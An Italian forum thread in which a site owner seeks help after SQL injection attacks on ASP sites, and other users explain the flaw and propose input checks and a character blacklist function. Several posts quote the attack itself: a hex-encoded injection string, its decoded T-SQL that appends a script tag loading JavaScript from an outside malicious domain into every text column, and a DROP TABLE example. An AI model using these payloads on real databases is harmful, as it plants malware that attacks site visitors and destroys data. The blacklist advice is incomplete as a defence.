- Home
- Categorie
- Gaming, Hardware e Software
- Sicurezza Informatica & Privacy
- Attacco Hacker Su Server
-
si chiama sql injection (it.wikipedia.org/wiki/SQL_injection) è indipendente dal linguaggio usato, ne soffrono tutte le applicazioni che non hanno un'adeguato controllo sulle variabili valorizzate da GET/POST/SESSION/COOKIE o in ogni caso tutte le variabile che un utente può valorizzare su un sito e che poi vengono usate nelle query.
La soluzione è una: bonificare tali variabili prima di usarle all'interno delle query (o di stamparle a video nell'html).
Per bonifica di solito si intende, la rimozione di caratteri quali l'apice il doppio apice, doppio trattino o qualsiasi carattere (sequenza di carattere) che può avere un senso nelle query.
Per evitare di ingegnarsi su cosa rimuovere e cosa no, si fa un controllo a monte, per fare un esempio se il valore di Marche può essere lungo minimo 3 al massimo 10 si controlla che Marche verifiche tali condizioni prima di proseguire con l'uso della stessa variabile, oppure se Marche può essere solo "avg", "pippo", "topolino", ect. si controlla che effettivamente si trovi all'interno di quell'insieme, se può essere solo lettere/numeri si controlla che non ci siano caratteri all'infuori di lettere e numeri.
Questo discorso (insieme ad altre problematiche di sicurezza) sta alla base delle programmazione web.
-
Se io levassi l'apice cioè facendo replace.... con doppio apice, ho letto da qualche parte che risolverei tutto è cosi o no?
-
Se era così banale risolvere "tutto" perchè per cercare di farti prendere coscienza del problema avrei dovuto scrivere 10 righe di risposta ? E poi 3120000 pagine su Google per la ricerca "SQL injection" sono state scritte per dire di fare un replace?
No, non risolvi tutto, fra l'altro banalmente quiMarche/elenco_marche.asp?Marca=AGV;DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C00410052004500200040005400 20007600610072006300680061007200280032003500350029 002C0040004300200076006100720063006800610072002800 320035003500290020004400450043004C0
non vedo nessun apice.
-
scusami in questo specifoco caso quale sarebbe la soluzione?
Dato che l'attacco su tutti i miei siti è di questo tipo?
grazie
-
intanto è assurdo che se la marca non esiste il sito si inchioda:
ADODB.Field error '800a0bcd'
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/Marche/elenco_marche.asp, line 39
dovrebbe comparire un messaggio del tipo "Marca non trovata" oppure rimandare all'homepage del sito.Sono questi messaggi d'errore che suggeriscono agli hacker che tipo di attacco eseguire su un sito.
Poi, mi ripeto, la marca più lunga che hai è "tucano urbano", 13 caratteri, controlla che se ti arriva una marca più lunga di 13 caratteri allora sicuramente è sbagliata o frutto di tentativo di hackeraggio.
Tutte le marche sono formate da lettere (abcdefghilmnopqrstuvz) con al massimo un trattino (-) e/o un punto (.), controlla anche che la marca che ti arriva sia formata solo da questo set di caratteri, altri caratteri non devono essere consentiti.
Se proprio vuoi un controllo sicuro metti tutte le marche in un array e quando ti passano una marca controlli che esista in quell'array di marche altrimenti NON fai la query.P.S.:
Peccato che non ho una moto altrimenti potevo chiederti qualcosa in regalo in cambio della consulenza:D
-
Quasta tipologia di attaco è stata effetuata su diversi miei siti quindi non mi sapresti consigliare una regola generale?
O quel codice può includere tutte le falle?
e quindi non si può evitare con qualche script o cos'altro?
-
non conosco tutti i tuoi siti, ma l'attacco di solito si porta passando codice malevolo alle variabili in GET (POST o COOKIE).
Se vuoi usare un metodo generico per difenderti, usa una funzione per tutti i siti e scrivila in maniera tale che copra un pò tutti i casi descritti prima senza limitare le funzionalità dei siti.Io userei una funzione del genere:
'Function IllegalChars to guard against SQL injection Function IllegalChars(sInput) 'Declare variables Dim sBadChars, iCounter 'Set IllegalChars to False IllegalChars=False 'Create an array of illegal characters and words sBadChars=array("select", "drop", ";", "--", "insert", "delete", "xp_", _ "#", "%", "&", "'", "(", ")", "/", "\", ":", ";", "<", ">", "=", "[", "]", "?", "`", "|", "@", " ") 'Loop through array sBadChars using our counter & UBound function For iCounter = 0 to uBound(sBadChars) 'Use Function Instr to check presence of illegal character in our variable If Instr(sInput,sBadChars(iCounter))>0 Then IllegalChars=True End If Next End function ```poi la chiami su tutte le variabili che provengono dalla request:
'Call the function IllegalChars to check for illegal characters
If IllegalChars(sMarca)=True Then
Response.redirect("no_access.asp")
End If
-
Ottmo e scusami se ti sembra che abbia collaborato poco adatterò la tua funzione a sencoda dei miei casi
grazie mille
-
per curiosità, il tipo di attacco che hai subito ti ha lasciato questo nel db:
<script src=http://www.killwow1.cn/g.js></script>
Se ho capito bene dovrebbe essere qualche sorta di JS maligno quindi vi invito a non scaricarlo ecc.
-
mmh, si sono fatti un bel giretto sti tizi, risultano: Risultati 1 - 10 su circa 654.000 o
-
A me è un altro script semre del tipo.
<script src=http://www......js></script>è un casino su quasi tutti i siti.
Sto tentando diverse soluzioni ma niente.Se lo scriot che ha messo tonyx è maligno
CANCELLATELO SUBITO DAL FORUM!!!Scusate il maiusculetto.
-
E' un codice che si è sparso un bel pò sul web, molto probabilmente con qualche sorta di tool automatizzato.
Decodificando il codice unicode si ottengono queste istruzioni T-sql:
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.killwow1.cn/g.js></script>''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
Non ho ben capito, ma sembrerebbe che questo codice vada a vedere nella tabella sysobjects quante tabelle ci sono nel db e quanti campi (testuali presumo) e poi gli aggiunge sto codice <script src=http://www.killwow1.cn/g.js></script> ad ogniuno di questo campo, sperando forse che quando i dati vadano in output sul web in automatico venga eseguito questo codice malevole sul pc client.
Ho provato anche a scaricarlo per studiarlo ma sembrerebbe che il dominio è down.
-
@nandonando2 said:
A me è un altro script semre del tipo.
<script src=http://www......js></script>è un casino su quasi tutti i siti.
Sto tentando diverse soluzioni ma niente.Se lo scriot che ha messo tonyx è maligno
CANCELLATELO SUBITO DAL FORUM!!!Scusate il maiusculetto.
Nando io ho messo solo un url, non viene eseguito automaticamente e poi ho anche avvertito di non scaricarlo (cmq io ci ho provato per sturiarlo ed il sito è down) quindi non c'è rischio.
-
Scusa ma c'è qualche soluzione?
Ho levato tutto o quasi inerente al sql iniection, ora cambio i permessi dell'utente del db e li metto in sola lettura ma vorrei capire quale è la vulnerabilità, ne sai qualcosa di più?
Quale protezione consigli?
-
Per capire bene il problema dovresti avere una conoscenza quantomeno media del linguaggio SQL. Ti faccio un esempio di una query e un esempio di injection. Prendiamo il classico caso si un Db di una libreria.
Una semplice query SQL che seleziona una riga dal database può essere la seguente:
SELECT * FROM TabLibri WHERE IdLibro = 3
Ora che succede, molte volte per rendere dinamico un sito si associa una variabile che a seconda del valore passatogli tira fuori il libro richiesto dalla tabella TabLibri, in asp verrebbe una cosa tipo questa:
query = "SELECT * FROM TabLibri WHERE IdLibro =" & request("idlibro")
Questa riga di codice è vulnerabile all'SQL Injection, perchè finquando mi limito a passargli un valore numerico tipo: 3 (come nell'esempio sopra) tutto funziona, ma che succese se ad esempio io gli passassi questo valore:
*3; DROP TABLE tabLibri
*Semplicemente oltre al valore 3 che gli passo per non far andare in errore aggiungo ";" che non fa altro che informare SQL Server dicendogli che la prima istruzione è finita ora segue la secona, la seconda istruzione è maligna, anzi distruttiva, praticamente ti cancella la tabella "tabLibri".Capito questo esempio?
Ora in questo e sottolineo questo esempio per evitare una cosa del genere bisognerebbe eseguire un controllo dell'input e verificare che esso sia esclusivamente numerico.
Come diceva saro78 non esiste 1 solo carattere da tener sotto controllo, sono una serie di caratteri, io penso che il miglior modo per prevenire l'sql injection è sempre tentare di capire come potrebbero essere inserite istruzioni sql ed evitarle.
Ti consiglio prima di tutto di imparare meglio l'SQL e di leggerti i numerosi documenti che si trovano in internet riguardante l'SQL Injection.
Saluti
-
Diciamo che avevo evitato il problema ma ho fatto un errore in pratica non ho considerato il passaggio di più valori ossia doppie variabili
es miapagin.asp?val1=10&val2=ddnon ho esaminato i casi tipo val2
cerco di provvedereGrazie